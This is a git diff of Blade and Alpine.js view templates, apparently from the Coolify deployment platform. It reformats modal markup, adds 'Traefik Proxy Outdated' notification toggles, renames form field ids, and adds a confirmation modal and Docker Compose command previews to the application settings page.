                 <div x-show="modalOpen" x-trap.inert.noscroll="modalOpen" x-transition:enter="ease-out duration-100"
                     x-transition:enter-start="opacity-0 -translate-y-2 sm:scale-95"
@@ -999,8 +960,8 @@ class="relative w-full py-6 border rounded-sm drop-shadow-sm min-w-full lg:min-w
                         <h3 class="text-2xl font-bold">New Team</h3>
                         <button @click="modalOpen=false"
                             class="absolute top-0 right-0 flex items-center justify-center w-8 h-8 mt-5 mr-5 rounded-full dark:text-white hover:bg-neutral-100 dark:hover:bg-coolgray-300 outline-0 focus-visible:ring-2 focus-visible:ring-coollabs dark:focus-visible:ring-warning">
-                            <svg class="w-5 h-5" xmlns="http://www.w3.org/2000/svg" fill="none"
-                                viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor">
+                            <svg class="w-5 h-5" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24"
+                                stroke-width="1.5" stroke="currentColor">
                                 <path stroke-linecap="round" stroke-linejoin="round" d="M6 18L18 6M6 6l12 12" />
                             </svg>
                         </button>
@@ -1023,12 +984,10 @@ class="absolute top-0 right-0 flex items-center justify-center w-8 h-8 mt-5 mr-5
                         if (firstInput) firstInput.focus();
                     }, 200);
                 }
-            })"
-                class="fixed top-0 left-0 lg:px-0 px-4 z-99 flex items-center justify-center w-screen h-screen">
-                <div x-show="modalOpen" x-transition:enter="ease-out duration-100"
-                    x-transition:enter-start="opacity-0" x-transition:enter-end="opacity-100"
-                    x-transition:leave="ease-in duration-100" x-transition:leave-start="opacity-100"
-                    x-transition:leave-end="opacity-0" @click="modalOpen=false"
+            })" class="fixed top-0 left-0 lg:px-0 px-4 z-99 flex items-center justify-center w-screen h-screen">
+                <div x-show="modalOpen" x-transition:enter="ease-out duration-100" x-transition:enter-start="opacity-0"
+                    x-transition:enter-end="opacity-100" x-transition:leave="ease-in duration-100"
+                    x-transition:leave-start="opacity-100" x-transition:leave-end="opacity-0" @click="modalOpen=false"
                     class="absolute inset-0 w-full h-full bg-black/20 backdrop-blur-xs"></div>
                 <div x-show="modalOpen" x-trap.inert.noscroll="modalOpen" x-transition:enter="ease-out duration-100"
                     x-transition:enter-start="opacity-0 -translate-y-2 sm:scale-95"
@@ -1041,8 +1000,8 @@ class="relative w-full py-6 border rounded-sm drop-shadow-sm min-w-full lg:min-w
                         <h3 class="text-2xl font-bold">New S3 Storage</h3>
                         <button @click="modalOpen=false"
                             class="absolute top-0 right-0 flex items-center justify-center w-8 h-8 mt-5 mr-5 rounded-full dark:text-white hover:bg-neutral-100 dark:hover:bg-coolgray-300 outline-0 focus-visible:ring-2 focus-visible:ring-coollabs dark:focus-visible:ring-warning">
-                            <svg class="w-5 h-5" xmlns="http://www.w3.org/2000/svg" fill="none"
-                                viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor">
+                            <svg class="w-5 h-5" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24"
+                                stroke-width="1.5" stroke="currentColor">
                                 <path stroke-linecap="round" stroke-linejoin="round" d="M6 18L18 6M6 6l12 12" />
                             </svg>
                         </button>
@@ -1065,12 +1024,10 @@ class="absolute top-0 right-0 flex items-center justify-center w-8 h-8 mt-5 mr-5
                         if (firstInput) firstInput.focus();
                     }, 200);
                 }
-            })"
-                class="fixed top-0 left-0 lg:px-0 px-4 z-99 flex items-center justify-center w-screen h-screen">
-                <div x-show="modalOpen" x-transition:enter="ease-out duration-100"
-                    x-transition:enter-start="opacity-0" x-transition:enter-end="opacity-100"
-                    x-transition:leave="ease-in duration-100" x-transition:leave-start="opacity-100"
-                    x-transition:leave-end="opacity-0" @click="modalOpen=false"
+            })" class="fixed top-0 left-0 lg:px-0 px-4 z-99 flex items-center justify-center w-screen h-screen">
+                <div x-show="modalOpen" x-transition:enter="ease-out duration-100" x-transition:enter-start="opacity-0"
+                    x-transition:enter-end="opacity-100" x-transition:leave="ease-in duration-100"
+                    x-transition:leave-start="opacity-100" x-transition:leave-end="opacity-0" @click="modalOpen=false"
                     class="absolute inset-0 w-full h-full bg-black/20 backdrop-blur-xs"></div>
                 <div x-show="modalOpen" x-trap.inert.noscroll="modalOpen" x-transition:enter="ease-out duration-100"
                     x-transition:enter-start="opacity-0 -translate-y-2 sm:scale-95"
@@ -1083,8 +1040,8 @@ class="relative w-full py-6 border rounded-sm drop-shadow-sm min-w-full lg:min-w
                         <h3 class="text-2xl font-bold">New Private Key</h3>
                         <button @click="modalOpen=false"
                             class="absolute top-0 right-0 flex items-center justify-center w-8 h-8 mt-5 mr-5 rounded-full dark:text-white hover:bg-neutral-100 dark:hover:bg-coolgray-300 outline-0 focus-visible:ring-2 focus-visible:ring-coollabs dark:focus-visible:ring-warning">
-                            <svg class="w-5 h-5" xmlns="http://www.w3.org/2000/svg" fill="none"
-                                viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor">
+                            <svg class="w-5 h-5" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24"
+                                stroke-width="1.5" stroke="currentColor">
                                 <path stroke-linecap="round" stroke-linejoin="round" d="M6 18L18 6M6 6l12 12" />
                             </svg>
                         </button>
@@ -1107,12 +1064,10 @@ class="absolute top-0 right-0 flex items-center justify-center w-8 h-8 mt-5 mr-5
                         if (firstInput) firstInput.focus();
                     }, 200);
                 }
-            })"
-                class="fixed top-0 left-0 lg:px-0 px-4 z-99 flex items-center justify-center w-screen h-screen">
-                <div x-show="modalOpen" x-transition:enter="ease-out duration-100"
-                    x-transition:enter-start="opacity-0" x-transition:enter-end="opacity-100"
-                    x-transition:leave="ease-in duration-100" x-transition:leave-start="opacity-100"
-                    x-transition:leave-end="opacity-0" @click="modalOpen=false"
+            })" class="fixed top-0 left-0 lg:px-0 px-4 z-99 flex items-center justify-center w-screen h-screen">
+                <div x-show="modalOpen" x-transition:enter="ease-out duration-100" x-transition:enter-start="opacity-0"
+                    x-transition:enter-end="opacity-100" x-transition:leave="ease-in duration-100"
+                    x-transition:leave-start="opacity-100" x-transition:leave-end="opacity-0" @click="modalOpen=false"
                     class="absolute inset-0 w-full h-full bg-black/20 backdrop-blur-xs"></div>
                 <div x-show="modalOpen" x-trap.inert.noscroll="modalOpen" x-transition:enter="ease-out duration-100"
                     x-transition:enter-start="opacity-0 -translate-y-2 sm:scale-95"
@@ -1125,8 +1080,8 @@ class="relative w-full py-6 border rounded-sm drop-shadow-sm min-w-full lg:min-w
                         <h3 class="text-2xl font-bold">New GitHub App</h3>
                         <button @click="modalOpen=false"
                             class="absolute top-0 right-0 flex items-center justify-center w-8 h-8 mt-5 mr-5 rounded-full dark:text-white hover:bg-neutral-100 dark:hover:bg-coolgray-300 outline-0 focus-visible:ring-2 focus-visible:ring-coollabs dark:focus-visible:ring-warning">
-                            <svg class="w-5 h-5" xmlns="http://www.w3.org/2000/svg" fill="none"
-                                viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor">
+                            <svg class="w-5 h-5" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24"
+                                stroke-width="1.5" stroke="currentColor">
                                 <path stroke-linecap="round" stroke-linejoin="round" d="M6 18L18 6M6 6l12 12" />
                             </svg>
                         </button>
@@ -1139,4 +1094,4 @@ class="absolute top-0 right-0 flex items-center justify-center w-8 h-8 mt-5 mr-5
         </template>
     </div>
 
-</div>
+</div>
\ No newline at end of file
diff --git a/resources/views/livewire/notifications/discord.blade.php b/resources/views/livewire/notifications/discord.blade.php
index dbf56b027..0e5406c78 100644
--- a/resources/views/livewire/notifications/discord.blade.php
+++ b/resources/views/livewire/notifications/discord.blade.php
@@ -80,6 +80,8 @@
                     label="Server Unreachable" />
                 <x-forms.checkbox canGate="update" :canResource="$settings" instantSave="saveModel" id="serverPatchDiscordNotifications"
                     label="Server Patching" />
+                <x-forms.checkbox canGate="update" :canResource="$settings" instantSave="saveModel" id="traefikOutdatedDiscordNotifications"
+                    label="Traefik Proxy Outdated" />
             </div>
         </div>
     </div>
diff --git a/resources/views/livewire/notifications/email.blade.php b/resources/views/livewire/notifications/email.blade.php
index 345d6bc58..538851137 100644
--- a/resources/views/livewire/notifications/email.blade.php
+++ b/resources/views/livewire/notifications/email.blade.php
@@ -161,6 +161,8 @@ class="p-4 border dark:border-coolgray-300 border-neutral-200 rounded-lg flex fl
                     label="Server Unreachable" />
                 <x-forms.checkbox canGate="update" :canResource="$settings" instantSave="saveModel" id="serverPatchEmailNotifications"
                     label="Server Patching" />
+                <x-forms.checkbox canGate="update" :canResource="$settings" instantSave="saveModel" id="traefikOutdatedEmailNotifications"
+                    label="Traefik Proxy Outdated" />
             </div>
         </div>
     </div>
diff --git a/resources/views/livewire/notifications/pushover.blade.php b/resources/views/livewire/notifications/pushover.blade.php
index 8c967030f..74cd9e8d2 100644
--- a/resources/views/livewire/notifications/pushover.blade.php
+++ b/resources/views/livewire/notifications/pushover.blade.php
@@ -82,6 +82,8 @@
                     label="Server Unreachable" />
                 <x-forms.checkbox canGate="update" :canResource="$settings" instantSave="saveModel" id="serverPatchPushoverNotifications"
                     label="Server Patching" />
+                <x-forms.checkbox canGate="update" :canResource="$settings" instantSave="saveModel" id="traefikOutdatedPushoverNotifications"
+                    label="Traefik Proxy Outdated" />
             </div>
         </div>
     </div>
diff --git a/resources/views/livewire/notifications/slack.blade.php b/resources/views/livewire/notifications/slack.blade.php
index ce4dd5d2d..14c7b3508 100644
--- a/resources/views/livewire/notifications/slack.blade.php
+++ b/resources/views/livewire/notifications/slack.blade.php
@@ -74,6 +74,7 @@
                 <x-forms.checkbox canGate="update" :canResource="$settings" instantSave="saveModel" id="serverUnreachableSlackNotifications"
                     label="Server Unreachable" />
                 <x-forms.checkbox canGate="update" :canResource="$settings" instantSave="saveModel" id="serverPatchSlackNotifications" label="Server Patching" />
+                <x-forms.checkbox canGate="update" :canResource="$settings" instantSave="saveModel" id="traefikOutdatedSlackNotifications" label="Traefik Proxy Outdated" />
             </div>
         </div>
     </div>
diff --git a/resources/views/livewire/notifications/telegram.blade.php b/resources/views/livewire/notifications/telegram.blade.php
index 7b07b4e22..1c83caf70 100644
--- a/resources/views/livewire/notifications/telegram.blade.php
+++ b/resources/views/livewire/notifications/telegram.blade.php
@@ -169,6 +169,15 @@
                     <x-forms.input canGate="update" :canResource="$settings" type="password" placeholder="Custom Telegram Thread ID"
                         id="telegramNotificationsServerPatchThreadId" />
                 </div>
+
+                <div class="pl-1 flex gap-2">
+                    <div class="w-96">
+                        <x-forms.checkbox canGate="update" :canResource="$settings" instantSave="saveModel" id="traefikOutdatedTelegramNotifications"
+                            label="Traefik Proxy Outdated" />
+                    </div>
+                    <x-forms.input canGate="update" :canResource="$settings" type="password" placeholder="Custom Telegram Thread ID"
+                        id="telegramNotificationsTraefikOutdatedThreadId" />
+                </div>
             </div>
         </div>
     </div>
diff --git a/resources/views/livewire/notifications/webhook.blade.php b/resources/views/livewire/notifications/webhook.blade.php
index 4646aaccd..7c32311bf 100644
--- a/resources/views/livewire/notifications/webhook.blade.php
+++ b/resources/views/livewire/notifications/webhook.blade.php
@@ -83,6 +83,8 @@ class="normal-case dark:text-white btn btn-xs no-animation btn-primary">
                     id="serverUnreachableWebhookNotifications" label="Server Unreachable" />
                 <x-forms.checkbox canGate="update" :canResource="$settings" instantSave="saveModel"
                     id="serverPatchWebhookNotifications" label="Server Patching" />
+                <x-forms.checkbox canGate="update" :canResource="$settings" instantSave="saveModel"
+                    id="traefikOutdatedWebhookNotifications" label="Traefik Proxy Outdated" />
             </div>
         </div>
     </div>
diff --git a/resources/views/livewire/project/application/configuration.blade.php b/resources/views/livewire/project/application/configuration.blade.php
index bf169077c..54f181d0f 100644
--- a/resources/views/livewire/project/application/configuration.blade.php
+++ b/resources/views/livewire/project/application/configuration.blade.php
@@ -30,15 +30,15 @@
             @endif
             <a class="menu-item flex items-center gap-2" wire:current.exact="menu-item-active"
                 href="{{ route('project.application.servers', ['project_uuid' => $project->uuid, 'environment_uuid' => $environment->uuid, 'application_uuid' => $application->uuid]) }}">Servers
-                @if (str($application->status)->contains('degraded'))
-                    <span title="Some servers are unavailable">
+                @if ($application->server_status == false)
+                    <span title="One or more servers are unreachable or misconfigured.">
                         <svg class="w-4 h-4 text-error" viewBox="0 0 256 256" xmlns="http://www.w3.org/2000/svg">
                             <path fill="currentColor"
                                 d="M240.26 186.1L152.81 34.23a28.74 28.74 0 0 0-49.62 0L15.74 186.1a27.45 27.45 0 0 0 0 27.71A28.31 28.31 0 0 0 40.55 228h174.9a28.31 28.31 0 0 0 24.79-14.19a27.45 27.45 0 0 0 .02-27.71m-20.8 15.7a4.46 4.46 0 0 1-4 2.2H40.55a4.46 4.46 0 0 1-4-2.2a3.56 3.56 0 0 1 0-3.73L124 46.2a4.77 4.77 0 0 1 8 0l87.44 151.87a3.56 3.56 0 0 1 .02 3.73M116 136v-32a12 12 0 0 1 24 0v32a12 12 0 0 1-24 0m28 40a16 16 0 1 1-16-16a16 16 0 0 1 16 16" />
                         </svg>
                     </span>
-                @elseif ($application->server_status == false)
-                    <span title="The underlying server(s) has problems.">
+                @elseif ($application->additional_servers()->exists() && str($application->status)->contains('degraded'))
+                    <span title="Application is in degraded state across multiple servers.">
                         <svg class="w-4 h-4 text-error" viewBox="0 0 256 256" xmlns="http://www.w3.org/2000/svg">
                             <path fill="currentColor"
                                 d="M240.26 186.1L152.81 34.23a28.74 28.74 0 0 0-49.62 0L15.74 186.1a27.45 27.45 0 0 0 0 27.71A28.31 28.31 0 0 0 40.55 228h174.9a28.31 28.31 0 0 0 24.79-14.19a27.45 27.45 0 0 0 .02-27.71m-20.8 15.7a4.46 4.46 0 0 1-4 2.2H40.55a4.46 4.46 0 0 1-4-2.2a3.56 3.56 0 0 1 0-3.73L124 46.2a4.77 4.77 0 0 1 8 0l87.44 151.87a3.56 3.56 0 0 1 .02 3.73M116 136v-32a12 12 0 0 1 24 0v32a12 12 0 0 1-24 0m28 40a16 16 0 1 1-16-16a16 16 0 0 1 16 16" />
diff --git a/resources/views/livewire/project/application/general.blade.php b/resources/views/livewire/project/application/general.blade.php
index 7759e0604..65e94dd23 100644
--- a/resources/views/livewire/project/application/general.blade.php
+++ b/resources/views/livewire/project/application/general.blade.php
@@ -12,6 +12,12 @@
                 <div>{{ $application->compose_parsing_version }}</div>
             @endif
             <x-forms.button canGate="update" :canResource="$application" type="submit">Save</x-forms.button>
+            @if ($application->build_pack === 'dockercompose')
+                <x-forms.button canGate="update" :canResource="$application" wire:target='initLoadingCompose'
+                    x-on:click="$wire.dispatch('loadCompose', false)">
+                    {{ $application->docker_compose_raw ? 'Reload Compose File' : 'Load Compose File' }}
+                </x-forms.button>
+            @endif
         </div>
         <div>General configuration for your application.</div>
         <div class="flex flex-col gap-2 py-4">
@@ -23,16 +29,15 @@
             @if (!$application->dockerfile && $application->build_pack !== 'dockerimage')
                 <div class="flex flex-col gap-2">
                     <div class="flex gap-2">
-                        <x-forms.select x-bind:disabled="shouldDisable()" wire:model.live="build_pack"
-                            label="Build Pack" required>
+                        <x-forms.select x-bind:disabled="shouldDisable()" wire:model.live="buildPack" label="Build Pack"
+                            required>
                             <option value="nixpacks">Nixpacks</option>
                             <option value="static">Static</option>
                             <option value="dockerfile">Dockerfile</option>
                             <option value="dockercompose">Docker Compose</option>
                         </x-forms.select>
                         @if ($application->settings->is_static || $application->build_pack === 'static')
-                            <x-forms.select x-bind:disabled="!canUpdate" id="static_image"
-                                label="Static Image" required>
+                            <x-forms.select x-bind:disabled="!canUpdate" id="staticImage" label="Static Image" required>
                                 <option value="nginx:alpine">nginx:alpine</option>
                                 <option disabled value="apache:alpine">apache:alpine</option>
                             </x-forms.select>
@@ -41,9 +46,10 @@
 
                     @if ($application->build_pack === 'dockercompose')
                         @if (
-                            !is_null($parsedServices) &&
+                                !is_null($parsedServices) &&
                                 count($parsedServices) > 0 &&
-                                !$application->settings->is_raw_compose_deployment_enabled)
+                                !$application->settings->is_raw_compose_deployment_enabled
+                            )
                             <h3 class="pt-6">Domains</h3>
                             @foreach (data_get($parsedServices, 'services') as $serviceName => $service)
                                 @if (!isDatabaseImage(data_get($service, 'image')))
@@ -66,37 +72,41 @@
                 </div>
             @endif
             @if ($application->settings->is_static || $application->build_pack === 'static')
-                <x-forms.textarea id="custom_nginx_configuration"
+                <x-forms.textarea id="customNginxConfiguration"
                     placeholder="Empty means default configuration will be used." label="Custom Nginx Configuration"
                     helper="You can add custom Nginx configuration here." x-bind:disabled="!canUpdate" />
                 @can('update', $application)
-                    <x-forms.button wire:click="generateNginxConfiguration">
-                        Generate Default Nginx Configuration
-                    </x-forms.button>
+                    <x-modal-confirmation title="Confirm Nginx Configuration Generation?"
+                        buttonTitle="Generate Default Nginx Configuration" buttonFullWidth
+                        submitAction="generateNginxConfiguration('{{ $application->settings->is_spa ? 'spa' : 'static' }}')"
+                        :actions="[
+                        'This will overwrite your current custom Nginx configuration.',
+                        'The default configuration will be generated based on your application type (' .
+                        ($application->settings->is_spa ? 'SPA' : 'static') .
+                        ').',
+                    ]" />
                 @endcan
             @endif
             <div class="w-96 pb-6">
                 @if ($application->could_set_build_commands())
-                    <x-forms.checkbox instantSave id="is_static" label="Is it a static site?"
+                    <x-forms.checkbox instantSave id="isStatic" label="Is it a static site?"
                         helper="If your application is a static site or the final build assets should be served as a static site, enable this."
                         x-bind:disabled="!canUpdate" />
                 @endif
                 @if ($application->settings->is_static && $application->build_pack !== 'static')
                     <x-forms.checkbox label="Is it a SPA (Single Page Application)?"
-                        helper="If your application is a SPA, enable this." id="is_spa" instantSave
+                        helper="If your application is a SPA, enable this." id="isSpa" instantSave
                         x-bind:disabled="!canUpdate"></x-forms.checkbox>
                 @endif
             </div>
             @if ($application->build_pack !== 'dockercompose')
                 <div class="flex items-end gap-2">
                     @if ($application->settings->is_container_label_readonly_enabled == false)
-                        <x-forms.input placeholder="https://coolify.io" wire:model="fqdn"
-                            label="Domains" readonly
+                        <x-forms.input placeholder="https://coolify.io" wire:model="fqdn" label="Domains" readonly
                             helper="Readonly labels are disabled. You can set the domains in the labels section."
                             x-bind:disabled="!canUpdate" />
                     @else
-                        <x-forms.input placeholder="https://coolify.io" wire:model="fqdn"
-                            label="Domains"
+                        <x-forms.input placeholder="https://coolify.io" wire:model="fqdn" label="Domains"
                             helper="You can specify one domain with path or more with comma. You can specify a port to bind the domain to.<br><br><span class='text-helper'>Example</span><br>- http://app.coolify.io,https://cloud.coolify.io/dashboard<br>- http://app.coolify.io/api/v3<br>- http://app.coolify.io:3000 -> app.coolify.io will point to port 3000 inside the container. "
                             x-bind:disabled="!canUpdate" />
                         @can('update', $application)
@@ -156,44 +166,42 @@
                 </div>
                 @if ($application->destination->server->isSwarm())
                     @if ($application->build_pack !== 'dockerimage')
-                        <div>Docker Swarm requires the image to be available in a registry. More info <a
-                                class="underline" href="https://coolify.io/docs/knowledge-base/docker/registry"
-                                target="_blank">here</a>.</div>
+                        <div>Docker Swarm requires the image to be available in a registry. More info <a class="underline"
+                                href="https://coolify.io/docs/knowledge-base/docker/registry" target="_blank">here</a>.</div>
                     @endif
                 @endif
                 <div class="flex flex-col gap-2 xl:flex-row">
                     @if ($application->build_pack === 'dockerimage')
                         @if ($application->destination->server->isSwarm())
-                            <x-forms.input required id="docker_registry_image_name" label="Docker Image"
+                            <x-forms.input required id="dockerRegistryImageName" label="Docker Image"
                                 x-bind:disabled="!canUpdate" />
-                            <x-forms.input id="docker_registry_image_tag" label="Docker Image Tag or Hash"
+                            <x-forms.input id="dockerRegistryImageTag" label="Docker Image Tag or Hash"
                                 helper="Enter a tag (e.g., 'latest', 'v1.2.3') or SHA256 hash (e.g., 'sha256-59e02939b1bf39f16c93138a28727aec520bb916da021180ae502c61626b3cf0')"
                                 x-bind:disabled="!canUpdate" />
                         @else
-                            <x-forms.input id="docker_registry_image_name" label="Docker Image"
-                                x-bind:disabled="!canUpdate" />
-                            <x-forms.input id="docker_registry_image_tag" label="Docker Image Tag or Hash"
+                            <x-forms.input id="dockerRegistryImageName" label="Docker Image" x-bind:disabled="!canUpdate" />
+                            <x-forms.input id="dockerRegistryImageTag" label="Docker Image Tag or Hash"
                                 helper="Enter a tag (e.g., 'latest', 'v1.2.3') or SHA256 hash (e.g., 'sha256-59e02939b1bf39f16c93138a28727aec520bb916da021180ae502c61626b3cf0')"
                                 x-bind:disabled="!canUpdate" />
                         @endif
                     @else
                         @if (
-                            $application->destination->server->isSwarm() ||
+                                $application->destination->server->isSwarm() ||
                                 $application->additional_servers->count() > 0 ||
-                                $application->settings->is_build_server_enabled)
-                            <x-forms.input id="docker_registry_image_name" required label="Docker Image"
-                                placeholder="Required!" x-bind:disabled="!canUpdate" />
-                            <x-forms.input id="docker_registry_image_tag"
+                                $application->settings->is_build_server_enabled
+                            )
+                            <x-forms.input id="dockerRegistryImageName" required label="Docker Image" placeholder="Required!"
+                                x-bind:disabled="!canUpdate" />
+                            <x-forms.input id="dockerRegistryImageTag"
                                 helper="If set, it will tag the built image with this tag too. <br><br>Example: If you set it to 'latest', it will push the image with the commit sha tag + with the latest tag."
                                 placeholder="Empty means latest will be used." label="Docker Image Tag"
                                 x-bind:disabled="!canUpdate" />
                         @else
-                            <x-forms.input id="docker_registry_image_name"
+                            <x-forms.input id="dockerRegistryImageName"
                                 helper="Empty means it won't push the image to a docker registry. Pre-tag the image with your registry url if you want to push it to a private registry (default: Dockerhub). <br><br>Example: ghcr.io/myimage"
-                                placeholder="Empty means it won't push the image to a docker registry."
-                                label="Docker Image" x-bind:disabled="!canUpdate" />
-                            <x-forms.input id="docker_registry_image_tag"
-                                placeholder="Empty means only push commit sha tag."
+                                placeholder="Empty means it won't push the image to a docker registry." label="Docker Image"
+                                x-bind:disabled="!canUpdate" />
+                            <x-forms.input id="dockerRegistryImageTag" placeholder="Empty means only push commit sha tag."
                                 helper="If set, it will tag the built image with this tag too. <br><br>Example: If you set it to 'latest', it will push the image with the commit sha tag + with the latest tag."
                                 label="Docker Image Tag" x-bind:disabled="!canUpdate" />
                         @endif
@@ -206,21 +214,17 @@ class="underline" href="https://coolify.io/docs/knowledge-base/docker/registry"
                     <x-forms.input
                         helper="You can add custom docker run options that will be used when your container is started.<br>Note: Not all options are supported, as they could mess up Coolify's automation and could cause bad experience for users.<br><br>Check the <a class='underline dark:text-white' href='https://coolify.io/docs/knowledge-base/docker/custom-commands'>docs.</a>"
                         placeholder="--cap-add SYS_ADMIN --device=/dev/fuse --security-opt apparmor:unconfined --ulimit nofile=1024:1024 --tmpfs /run:rw,noexec,nosuid,size=65536k --hostname=myapp"
-                        id="custom_docker_run_options" label="Custom Docker Options"
-                        x-bind:disabled="!canUpdate" />
+                        id="customDockerRunOptions" label="Custom Docker Options" x-bind:disabled="!canUpdate" />
                 @else
                     @if ($application->could_set_build_commands())
                         @if ($application->build_pack === 'nixpacks')
                             <div class="flex flex-col gap-2 xl:flex-row">
                                 <x-forms.input helper="If you modify this, you probably need to have a nixpacks.toml"
-                                    id="install_command" label="Install Command"
-                                    x-bind:disabled="!canUpdate" />
+                                    id="installCommand" label="Install Command" x-bind:disabled="!canUpdate" />
                                 <x-forms.input helper="If you modify this, you probably need to have a nixpacks.toml"
-                                    id="build_command" label="Build Command"
-                                    x-bind:disabled="!canUpdate" />
+                                    id="buildCommand" label="Build Command" x-bind:disabled="!canUpdate" />
                                 <x-forms.input helper="If you modify this, you probably need to have a nixpacks.toml"
-                                    id="start_command" label="Start Command"
-                                    x-bind:disabled="!canUpdate" />
+                                    id="startCommand" label="Start Command" x-bind:disabled="!canUpdate" />
                             </div>
                             <div class="pt-1 text-xs">Nixpacks will detect the required configuration
                                 automatically.
@@ -234,21 +238,18 @@ class="underline" href="https://coolify.io/docs/knowledge-base/docker/registry"
                         @if ($application->build_pack === 'dockercompose')
                             @can('update', $application)
                                 <div class="flex flex-col gap-2" x-init="$wire.dispatch('loadCompose', true)">
-                                @else
+                            @else
                                     <div class="flex flex-col gap-2">
-                                    @endcan
+                                @endcan
                                     <div class="flex gap-2">
-                                        <x-forms.input x-bind:disabled="shouldDisable()" placeholder="/"
-                                            id="base_directory" label="Base Directory"
-                                            helper="Directory to use as root. Useful for monorepos." />
-                                        <x-forms.input x-bind:disabled="shouldDisable()"
-                                            placeholder="/docker-compose.yaml"
-                                            id="docker_compose_location" label="Docker Compose Location"
+                                        <x-forms.input x-bind:disabled="shouldDisable()" placeholder="/" id="baseDirectory"
+                                            label="Base Directory" helper="Directory to use as root. Useful for monorepos." />
+                                        <x-forms.input x-bind:disabled="shouldDisable()" placeholder="/docker-compose.yaml"
+                                            id="dockerComposeLocation" label="Docker Compose Location"
                                             helper="It is calculated together with the Base Directory:<br><span class='dark:text-warning'>{{ Str::start($application->base_directory . $application->docker_compose_location, '/') }}</span>" />
                                     </div>
                                     <div class="w-96">
-                                        <x-forms.checkbox instantSave
-                                            id="is_preserve_repository_enabled"
+                                        <x-forms.checkbox instantSave id="isPreserveRepositoryEnabled"
                                             label="Preserve Repository During Deployment"
                                             helper="Git repository (based on the base directory settings) will be copied to the deployment directory."
                                             x-bind:disabled="shouldDisable()" />
@@ -259,52 +260,59 @@ class="underline" href="https://coolify.io/docs/knowledge-base/docker/registry"
                                         know what are
                                         you doing.</div>
                                     <div class="flex gap-2">
-                                        <x-forms.input x-bind:disabled="shouldDisable()"
-                                            placeholder="docker compose build"
-                                            id="docker_compose_custom_build_command"
-                                            helper="If you use this, you need to specify paths relatively and should use the same compose file in the custom command, otherwise the automatically configured labels / etc won't work.<br><br>So in your case, use: <span class='dark:text-warning'>docker compose -f .{{ Str::start($application->base_directory . $application->docker_compose_location, '/') }} build</span>"
+                                        <x-forms.input x-bind:disabled="shouldDisable()" placeholder="docker compose build"
+                                            id="dockerComposeCustomBuildCommand"
+                                            helper="The compose file path (<span class='dark:text-warning'>-f</span> flag) and environment variables (<span class='dark:text-warning'>--env-file</span> flag) are automatically injected based on your Base Directory and Docker Compose Location settings. You can override by providing your own <span class='dark:text-warning'>-f</span> or <span class='dark:text-warning'>--env-file</span> flags.<br><br>If you use this, you need to specify paths relatively and should use the same compose file in the custom command, otherwise the automatically configured labels / etc won't work.<br><br>Example usage: <span class='dark:text-warning'>docker compose build</span>"
                                             label="Custom Build Command" />
-                                        <x-forms.input x-bind:disabled="shouldDisable()"
-                                            placeholder="docker compose up -d"
-                                            id="docker_compose_custom_start_command"
-                                            helper="If you use this, you need to specify paths relatively and should use the same compose file in the custom command, otherwise the automatically configured labels / etc won't work.<br><br>So in your case, use: <span class='dark:text-warning'>docker compose -f .{{ Str::start($application->base_directory . $application->docker_compose_location, '/') }} up -d</span>"
+                                        <x-forms.input x-bind:disabled="shouldDisable()" placeholder="docker compose up -d"
+                                            id="dockerComposeCustomStartCommand"
+                                            helper="The compose file path (<span class='dark:text-warning'>-f</span> flag) and environment variables (<span class='dark:text-warning'>--env-file</span> flag) are automatically injected based on your Base Directory and Docker Compose Location settings. You can override by providing your own <span class='dark:text-warning'>-f</span> or <span class='dark:text-warning'>--env-file</span> flags.<br><br>If you use this, you need to specify paths relatively and should use the same compose file in the custom command, otherwise the automatically configured labels / etc won't work.<br><br>Example usage: <span class='dark:text-warning'>docker compose up -d</span>"
                                             label="Custom Start Command" />
                                     </div>
+                                    @if ($this->dockerComposeCustomBuildCommand)
+                                        <div wire:key="docker-compose-build-preview">
+                                            <x-forms.input readonly value="{{ $this->dockerComposeBuildCommandPreview }}"
+                                                label="Final Build Command (Preview)"
+                                                helper="This shows the actual command that will be executed with auto-injected flags." />
+                                        </div>
+                                    @endif
+                                    @if ($this->dockerComposeCustomStartCommand)
+                                        <div wire:key="docker-compose-start-preview">
+                                            <x-forms.input readonly value="{{ $this->dockerComposeStartCommandPreview }}"
+                                                label="Final Start Command (Preview)"
+                                                helper="This shows the actual command that will be executed with auto-injected flags." />
+                                        </div>
+                                    @endif
                                     @if ($this->application->is_github_based() && !$this->application->is_public_repository())
                                         <div class="pt-4">
                                             <x-forms.textarea
                                                 helper="Order-based pattern matching to filter Git webhook deployments. Supports wildcards (*, **, ?) and negation (!). Last matching pattern wins."
-                                                placeholder="services/api/**" id="watch_paths"
-                                                label="Watch Paths" x-bind:disabled="shouldDisable()" />
+                                                placeholder="services/api/**" id="watchPaths" label="Watch Paths"
+                                                x-bind:disabled="shouldDisable()" />
                                         </div>
                                     @endif
                                 </div>
-                            @else
+                        @else
                                 <div class="flex flex-col gap-2 xl:flex-row">
-                                    <x-forms.input placeholder="/" id="base_directory"
-                                        label="Base Directory"
-                                        helper="Directory to use as root. Useful for monorepos."
-                                        x-bind:disabled="!canUpdate" />
+                                    <x-forms.input placeholder="/" id="baseDirectory" label="Base Directory"
+                                        helper="Directory to use as root. Useful for monorepos." x-bind:disabled="!canUpdate" />
                                     @if ($application->build_pack === 'dockerfile' && !$application->dockerfile)
-                                        <x-forms.input placeholder="/Dockerfile" id="dockerfile_location"
-                                            label="Dockerfile Location"
+                                        <x-forms.input placeholder="/Dockerfile" id="dockerfileLocation" label="Dockerfile Location"
                                             helper="It is calculated together with the Base Directory:<br><span class='dark:text-warning'>{{ Str::start($application->base_directory . $application->dockerfile_location, '/') }}</span>"
                                             x-bind:disabled="!canUpdate" />
                                     @endif
 
                                     @if ($application->build_pack === 'dockerfile')
-                                        <x-forms.input id="dockerfile_target_build"
-                                            label="Docker Build Stage Target"
-                                            helper="Useful if you have multi-staged dockerfile."
-                                            x-bind:disabled="!canUpdate" />
+                                        <x-forms.input id="dockerfileTargetBuild" label="Docker Build Stage Target"
+                                            helper="Useful if you have multi-staged dockerfile." x-bind:disabled="!canUpdate" />
                                     @endif
                                     @if ($application->could_set_build_commands())
                                         @if ($application->settings->is_static)
